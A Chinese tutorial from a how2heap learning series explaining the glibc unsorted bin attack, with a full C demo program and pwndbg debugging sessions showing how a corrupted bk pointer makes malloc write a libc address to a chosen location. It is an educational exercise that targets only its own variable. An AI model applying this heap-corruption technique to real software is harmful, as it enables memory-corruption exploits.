从零开始学howtoheap:理解fastbins的​unsorted bin攻击

how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的unsorted_bin攻击

​ unsorted bin攻击通常是为更进一步的攻击做准备的,我们知道unsorted bin是一个双向链表,在分配时会通过unlink操作将chunk从链表中移除,所以如果能够控制unsorted bin chunk的bk指针,就可以向任意位置写入一个指针。

unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
 

2.unsorted_bin_attack演示程序

#include <stdio.h>
#include <stdlib.h>int main(){fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");unsigned long stack_var=0;fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);unsigned long *p=malloc(0x410);fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");malloc(500);free(p);fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);p[1]=(unsigned long)(&stack_var-2);fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);malloc(0x410);fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

3.调试 unsorted_bin_attack

3.1 获得可执行程序 

gcc -g unsorted_bin_attack.c -o unsorted_bin_attack

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gcc -g unsorted_bin_attack.c -o unsorted_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gdb ./unsorted_bin_attack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./unsorted_bin_attack...done.
pwndbg> r
Starting program: /ctf/work/how2heap/unsorted_bin_attack 
unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78
[Inferior 1 (process 144) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第16行并走起

一开始先申请两个chunk,第二个是为了防止和top chunk合并。


Breakpoint 1, main () at unsorted_bin_attack.c:17
17          free(p);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x602430 ◂— 0x0RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX  0x602430 ◂— 0x0RDI  0x1RSI  0x602620 ◂— 0x0R8   0x2bR9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15RIP  0x400775 (main+207) ◂— mov    rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400775 <main+207>    mov    rax, qword ptr [rbp - 0x10]0x400779 <main+211>    mov    rdi, rax0x40077c <main+214>    call   free@plt <0x400540>0x400781 <main+219>    mov    rax, qword ptr [rbp - 0x10]0x400785 <main+223>    add    rax, 80x400789 <main+227>    mov    rax, qword ptr [rax]0x40078c <main+230>    mov    rdx, rax0x40078f <main+233>    mov    rax, qword ptr [rip + 0x2008ca] <0x601060>0x400796 <main+240>    mov    esi, 0x400a800x40079b <main+245>    mov    rdi, rax0x40079e <main+248>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c12     unsigned long *p=malloc(0x410);13     fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);14     fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");15     malloc(500);16 ► 17     free(p);18     fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);19 20     p[1]=(unsigned long)(&stack_var-2);21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400775 main+207f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:16
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Used                None              None
0x602420            0x0                 0x200                Used                None              None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x602420 
0x602420:       0x0000000000000000      0x0000000000000201
0x602430:       0x0000000000000000      0x0000000000000000
0x602440:       0x0000000000000000      0x0000000000000000
0x602450:       0x0000000000000000      0x0000000000000000
0x602460:       0x0000000000000000      0x0000000000000000
pwndbg> 

pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Used                None              None
0x602420            0x0                 0x200                Used                None              None

pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x0000000000000000      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x602420 
0x602420:       0x0000000000000000      0x0000000000000201
0x602430:       0x0000000000000000      0x0000000000000000
0x602440:       0x0000000000000000      0x0000000000000000
0x602450:       0x0000000000000000      0x0000000000000000
0x602460:       0x0000000000000000      0x0000000000000000
pwndbg> 
 

3.3.2 ​设置断点第19行并走起

​ 当free之后,这个chunk的fd、bk都指向了unsorted bin的位置,因为unsorted bin是双向链表。

pwndbg> b 19
Breakpoint 2 at 0x4007a8: file unsorted_bin_attack.c, line 19.
pwndbg> c
Continuing.
当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78Breakpoint 2, main () at unsorted_bin_attack.c:20
20          p[1]=(unsigned long)(&stack_var-2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x74RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbf00 ◂— 0xbbe49188e693bde5R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x74R10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15RIP  0x4007a8 (main+258) ◂— mov    rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4007a8 <main+258>    mov    rax, qword ptr [rbp - 0x10]0x4007ac <main+262>    lea    rdx, [rax + 8]0x4007b0 <main+266>    lea    rax, [rbp - 0x18]0x4007b4 <main+270>    sub    rax, 0x100x4007b8 <main+274>    mov    qword ptr [rdx], rax0x4007bb <main+277>    mov    rax, qword ptr [rip + 0x20089e] <0x601060>0x4007c2 <main+284>    mov    rcx, rax0x4007c5 <main+287>    mov    edx, 0x510x4007ca <main+292>    mov    esi, 10x4007cf <main+297>    mov    edi, 0x400af00x4007d4 <main+302>    call   fwrite@plt <0x400590>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c15     malloc(500);16 17     free(p);18     fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);19 ► 20     p[1]=(unsigned long)(&stack_var-2);21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);23 24     malloc(0x410);25     fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4007a8 main+258f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:19
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x602420            0x420               0x200                Used                None              None
pwndbg> 

 pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x602420            0x420               0x200                Used                None              None
pwndbg> 

3.3.3 ​设置断点第23行并走起

继续,通过p[1] = (unsigned long)(&stack_var - 2),把bk指针给改掉了。unsigned long是8字节大小的,所以减去2之后正好是在address 这个地方。

pwndbg> b 23
Breakpoint 3 at 0x400800: file unsorted_bin_attack.c, line 23.
pwndbg> c
Continuing.
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588Breakpoint 3, main () at unsorted_bin_attack.c:24
24          malloc(0x410);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x6cRBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbf00 ◂— 0x8ae6acbbe49188e6R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x6cR10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe690 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15RIP  0x400800 (main+346) ◂— mov    edi, 0x410
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400800 <main+346>    mov    edi, 0x4100x400805 <main+351>    call   malloc@plt <0x400580>0x40080a <main+356>    mov    rax, qword ptr [rip + 0x20084f] <0x601060>0x400811 <main+363>    mov    rcx, rax0x400814 <main+366>    mov    edx, 0x560x400819 <main+371>    mov    esi, 10x40081e <main+376>    mov    edi, 0x400bb00x400823 <main+381>    call   fwrite@plt <0x400590>0x400828 <main+386>    mov    rax, qword ptr [rbp - 0x18]0x40082c <main+390>    mov    rcx, rax0x40082f <main+393>    mov    rax, qword ptr [rip + 0x20082a] <0x601060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/unsorted_bin_attack.c19 20     p[1]=(unsigned long)(&stack_var-2);21     fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");22     fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);23 ► 24     malloc(0x410);25     fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");26     fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);27 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
01:0008│      0x7fffffffe598 ◂— 0x0
02:0010│      0x7fffffffe5a0 —▸ 0x602010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x602620 ◂— 0x0
03:0018│      0x7fffffffe5a8 ◂— 0x11489d3adcfb3e00
04:0020│ rbp  0x7fffffffe5b0 —▸ 0x400870 (__libc_csu_init) ◂— push   r15
05:0028│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
06:0030│      0x7fffffffe5c0 —▸ 0x7fffffffe698 —▸ 0x7fffffffe8cf ◂— '/ctf/work/how2heap/unsorted_bin_attack'
... ↓
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400800 main+346f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/unsorted_bin_attack.c:23
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7fffffffe588
0x602420            0x420               0x200                Used                None              None
pwndbg> 

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffe588 —▸ 0x602010 ◂— 0x0

smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x602000            0x0                 0x420                Freed     0x7ffff7dd1b78    0x7fffffffe588
0x602420            0x420               0x200                Used                None              None
pwndbg> 
 

​ 然后再去申请的时候需要把释放的那一块给拿出来,操作如下:

/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
3.3.4 ​设置断点第26行并走起

把unsorted bin的bk改为chunk的bk,然后将chunk的bk所指向的 fd改为unsorted bin的地址。

因为对于一个chunk来说,chunk头是占据0x10大小的(也就是图中 address),所以fd正好是我们想要改的那个地址。

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x7fffffffe588 —▸ 0x602010 ◂— 0x0

smallbins
empty
largebins
empty
pwndbg> x/10gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000421
0x602010:       0x00007ffff7dd1b78      0x00007fffffffe588
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000000
 

unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方
实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备

我们准备把这个地方 0x7fffffffe598 的值 0 更改为一个很大的数

一开始先申请一个比较正常的 chunk: 0x602010
再分配一个避免与 top chunk 合并

当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 0x7ffff7dd1b78
现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针
我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:0x7fffffffe588

再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址
0x7fffffffe598: 0x7ffff7dd1b78

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/467439.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在程序中使用日志功能

在应用中&#xff0c;需要记录程序运行过程中的一些关键信息以及异常输出等。这些信息用来排查程序故障或者其他用途。 日志模块可以自己实现或者是借用第三方库&#xff0c;之前写过一个类似的使用Qt的打印重定向将打印输出到文件&#xff1a;Qt将打印信息输出到文件_qt log输…

牛客——递归实现指数型枚举(枚举,dfs)

链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 来源&#xff1a;牛客网 题目描述 从 1∼n1\sim n1∼n这 n (n≤16)(n \leq 16)(n≤16) 个整数中随机选取任意多个&#xff0c;输出所有可能的选择方案。 输入描述: 一个整数n。 输出描述: 每行一种方案。同一行内…

第6个-滚动动画

Day 6 - Scroll Animation 1. 演示效果 2. 分析思路 布局 所有的内容进行水平垂直居中&#xff0c;可以使用**margin:0 auto;&#xff0c;也可以使用flex**布局&#xff1a; body {background-color: #efedd6;display: flex;flex-direction: column;justify-content: center…

【Algorithms 4】算法(第4版)学习笔记 07 - 2.4 优先队列

文章目录 前言参考目录学习笔记1&#xff1a;API1.1&#xff1a;实现 demo 示例1.2&#xff1a;初级实现&#xff08;有序或无序的数组&#xff09;2&#xff1a;二叉堆2.1&#xff1a;完全二叉树2.2&#xff1a;二叉堆2.2.1&#xff1a;堆的表示2.2.2&#xff1a;属性2.3&…

controller-manager学习三部曲之三:deployment的controller启动分析

欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码)&#xff1a;https://github.com/zq2599/blog_demos 《controller-manager学习三部曲》完整链接 通过脚本文件寻找程序入口源码学习deployment的controller启动分析 本篇概览 本文是《controller-manager学习三…

链表基础知识汇总

链表 链表是一种基本的数据结构&#xff0c;是由一系列节点组成的集合。每个节点包含两个部分&#xff1a;值和指向下一个节点的指针。链表中的节点可以动态地添加、删除&#xff0c;其大小可以根据需要进行扩展或缩小。 链表通常用于处理不固定长度的数据结构&#xff0c;具有…

【数据结构】常见八大排序算法(附动图)

一、前言 关于排序&#xff0c;有一些术语&#xff0c;例如算法的稳定/不稳定&#xff0c;内部排序和外部排序等&#xff0c;需要我们了解一下 稳定&#xff1a;当未排序时a在b前面且ab&#xff0c;排序后a仍然在b前面 不稳定&#xff1a;当未排序时a在b前面且ab&#xff0c;排…

专业课145+总分400+天津大学815信号与系统考研经验天大电子信息与通信工程,真题,大纲,参考书。

今年专业课145&#xff08;差一点满分&#xff0c;有点遗憾&#xff09;总分400&#xff0c;顺利被天津大学录取&#xff0c;应群里学弟学妹的要求总结了过去这一年我的复习经验&#xff0c;希望对大家有所借鉴。专业课&#xff1a; 815信号与系统145差一点满分&#xff0c;也…

中高级前端应该掌握哪些技术?看看自己达标了么

市面上初级和低级的前端饱和了&#xff0c;中高级前端还是非常稀缺的&#xff0c;贝格前端工场结合这么多年的前端实战经验&#xff0c;总结了中高级前端要具备的12项技术&#xff0c;看看大家达标否。 一、中高级前端的刚性标准 年龄&#xff1a;25岁以上 工作年限&#xff1…

leetcode(双指针)11.盛最多水的容器(C++详细解释)DAY9

文章目录 1.题目示例提示 2.解答思路3.实现代码结果 4.总结 1.题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线&#xff0c;第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线&#xff0c;使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回…

探索设计模式的魅力:捕捉变化的风-用观察者模式提升用户体验

设计模式专栏&#xff1a;http://t.csdnimg.cn/U54zu 目录 一、引言 核心概念 应用场景 可以解决的问题 二、场景案例 2.1 不用设计模式实现 2.2 存在问题 2.3 使用设计模式实现 2.4 成功克服 三、工作原理 3.1 结构图和说明 3.2 工作原理详解 3.3 实现步骤 四、 优…

java中stream流中的concat合并操作

可以用stream.of来合并两个流 public class Test7concat {public static void main(String[] args) {/*Stream流:static <T> Stream<T> concat(Stream<? extends T> a, Stream<? extends T> b);合并2个流中的元素*/Stream<String> stream1 St…